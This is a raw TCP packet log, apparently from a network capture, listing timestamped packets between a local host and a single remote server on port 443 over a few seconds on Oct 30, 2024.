Oct 30, 2024 07:28:10.618333101 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.618423939 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.618601084 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.618611097 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:10.916515112 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:10.916538000 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.135396004 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.135910988 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.135927916 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.136370897 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.136379957 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.141180992 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.141427040 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.141449928 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.141717911 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.141722918 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.155770063 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.156097889 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.156126022 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.156454086 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.156461000 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.195485115 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.196012020 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.196029902 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.196365118 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.196372032 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.268882990 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.269015074 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.269145012 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.269187927 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.269208908 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.269222021 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.269228935 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.271852970 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.271893978 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.271960020 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.272017956 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.272099972 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.272119045 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.272130966 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.272151947 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.272274971 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.272288084 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.272300005 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.272306919 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.274390936 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.274424076 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.274506092 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.274681091 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.274688959 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.286566019 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.286622047 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.286772966 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.286809921 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.286822081 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.286834002 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.286839008 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.288682938 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.288708925 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.288769960 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.288908958 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.288918972 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.327734947 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.327822924 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.327955008 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.327996016 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.328005075 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.328016043 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.328020096 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.330041885 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.330060005 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.330141068 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.330317020 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.330324888 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.349515915 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.350773096 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.350785017 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.351226091 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.351229906 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.480715036 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.480988026 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.481164932 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.481211901 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.481226921 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.481237888 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.481242895 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.484158039 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.484179020 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:11.484242916 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.484406948 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:11.484416008 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.004705906 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.005502939 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.005527020 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.005548954 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.005830050 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.005847931 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.005950928 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.005959988 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.006320953 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.006325960 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.009397984 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.009723902 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.009738922 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.010082960 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.010088921 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.100506067 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.103034019 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.103048086 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.103463888 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.103467941 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.135732889 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.135895967 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.136101007 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.136257887 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.136271000 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.136284113 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.136290073 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.137772083 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.138226986 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.138303041 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.138619900 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.138639927 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.138653994 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.138659000 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.140494108 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.140628099 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.140710115 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.140990019 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.141021013 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.141361952 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.141438007 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.141494036 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.141887903 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.141916990 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.141978025 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.141985893 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.141994953 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.141999006 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.142019987 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.142201900 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.142210960 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.145894051 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.145910025 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.145994902 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.146100044 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.146106958 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.225090981 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.225997925 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.226011992 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.226651907 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.226655960 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.237206936 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.237478018 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.237569094 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.237744093 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.237745047 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.237756014 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.237763882 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.240832090 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.240854025 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.240932941 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.241092920 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.241101027 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.358185053 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.358299017 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.358436108 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.358628035 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.358639956 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.358653069 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.358658075 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.362806082 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.362843037 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.363015890 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.363255978 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.363266945 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.868838072 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.869709015 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.869736910 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.870256901 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.870264053 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.882361889 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.882766008 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.882781982 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.883179903 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.883184910 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.915576935 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.916143894 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.916163921 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.916888952 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.916893959 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.966582060 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.967096090 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.967112064 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.967538118 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.967544079 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.998457909 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.998514891 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.998683929 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.998833895 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.998851061 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:12.998859882 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:12.998866081 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.002109051 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.002131939 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.002221107 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.002377033 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.002383947 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.051132917 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.051187992 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.051280022 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.051666021 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.051686049 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.058213949 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.058248997 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.058428049 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.058680058 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.058690071 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.095942020 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.096040964 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.096138000 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.096477032 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.096493959 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.096501112 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.096507072 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.099750996 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.099793911 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.099921942 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.100101948 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.100111961 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.101775885 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.102880001 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.102890015 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.103378057 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.103383064 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.206825018 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.207469940 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.207570076 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.207777023 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.207796097 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.207806110 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.207811117 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.210803986 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.210834980 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.210890055 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.211114883 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.211124897 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.233081102 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.233714104 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.233794928 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.233974934 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.233984947 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.234004021 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.234009981 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.236938000 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.236968994 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.237031937 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.237348080 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.237355947 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.758428097 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.762470007 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.762500048 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.762885094 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.762890100 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.795830011 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.796760082 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.796777964 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.797266960 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.797271013 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.890785933 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.890933037 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.891338110 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.891506910 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.891506910 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.891520977 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.891530991 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.894690037 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.894714117 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.894805908 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.895008087 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.895018101 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.931566954 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.931782007 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.931993008 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.932066917 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.932079077 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.935791016 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.935847998 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.935931921 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.936147928 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.936158895 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.940171003 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.940742016 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.940754890 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.941251993 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.941257000 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.965029955 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.965696096 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.965714931 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:13.966059923 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:13.966063976 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.214669943 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.214695930 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.214734077 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.214752913 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.214921951 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.215106010 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.215114117 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.215116978 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.215127945 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.215133905 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.216305971 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.216485023 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.216516972 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.216531992 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.216538906 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.217761993 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.217786074 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.218240023 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.218250036 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.220089912 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.220150948 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.220244884 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.220995903 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.221030951 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.221034050 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.221080065 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.221151114 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.221241951 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.221252918 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.350032091 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.350344896 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.350534916 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.350691080 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.350691080 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.350713968 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.350725889 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.353996992 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:14.354018927 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:14.354106903 CET	49887	443	192.168.2.4	13.107.246.45
